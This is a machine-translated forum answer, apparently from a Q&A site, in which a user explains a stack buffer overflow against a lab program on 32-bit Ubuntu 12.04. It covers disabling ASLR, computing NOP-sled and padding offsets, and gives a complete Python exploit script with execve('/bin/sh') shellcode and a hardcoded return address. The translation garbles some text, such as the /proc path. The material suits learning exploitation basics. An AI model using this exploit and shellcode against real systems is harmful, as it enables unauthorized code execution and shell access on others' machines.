我找到了解決我的問題。
因此,首先,只有在棧的範圍內纔可以利用它(這意味着我只使用位於棧中的緩衝區和返回地址之間的內存,以便執行代碼) ,它確實需要一些額外的計算,但它感覺它有點「更清潔」,可能沒有區別,但它仍然有效。
與非shell的問題只是我沒有注意到,我沒有實際sudo'd「回聲0>/proc/sys /內核/ randomize_va_space」,它沒有運行。
我添加了僅使用堆棧的漏洞利用代碼。 我必須找到ESP,首先放100個NOP,然後是代碼,然後是一些垃圾(A),最後是返回地址。
我知道使用以下尺寸: 我知道我是否垃圾'的東西到返回地址(包括),這將是268 + 4(272)字節。 另外,我的shellcode長度爲25個字節,NOP長度爲100個字節。我還必須記住,返回地址是4字節長,所以總共:
我需要填寫:首先100個字節的NOP,然後,25個字節的shell代碼,然後我剩下還沒有被計算的垃圾塊,最後4個字節的返回地址。
我可以得出結論:垃圾塊需要是: 272-(100 + 25 + 4)= 143字節長。 所以,我做的是複製「A」143次。
地址0xbffff164源自這樣的事實,即緩衝區的起始位置是0xbffff210-272,並且由於前100個字節用於NOP,因此我們將添加100,最後以0xbffff164結束。
這是我留下的代碼,它利用相同的漏洞,只是沒有超出返回地址(不知道它是否重要,雖然它需要更多的計算):
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbffff210 # ESP's value when the whole stack up to the return-address is filled (Hence, this is the where the return address is supposed to be)
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion
def conv(num):
return struct.pack("<I",num)
buf = "\x90" * 100
buf += scode
buf += "A"*143
buf += conv(0xbffff164)
print "Calling vulnerable program"
call(["./vuln", buf])
是不是將ASLR的回收移除給randomize_va_space?我已經這樣做了,是否還有更多可能的功能被禁用?如果是這樣,那麼它沒有給出根shell,對嗎? 我認爲它是禁用與它給gcc和回聲的選項,並沒有任何特殊的做到這一點.. 無論如何,你怎麼看我所問的shellcode結構? :D謝謝! – Jonathan
我的不好,我太快掠過了!你在Ubuntu 12.04 x86上這樣做,而不是在現代x86_64發行版上,對吧? –
正確!我在12.04 x86 ubuntu上運行它:) – Jonathan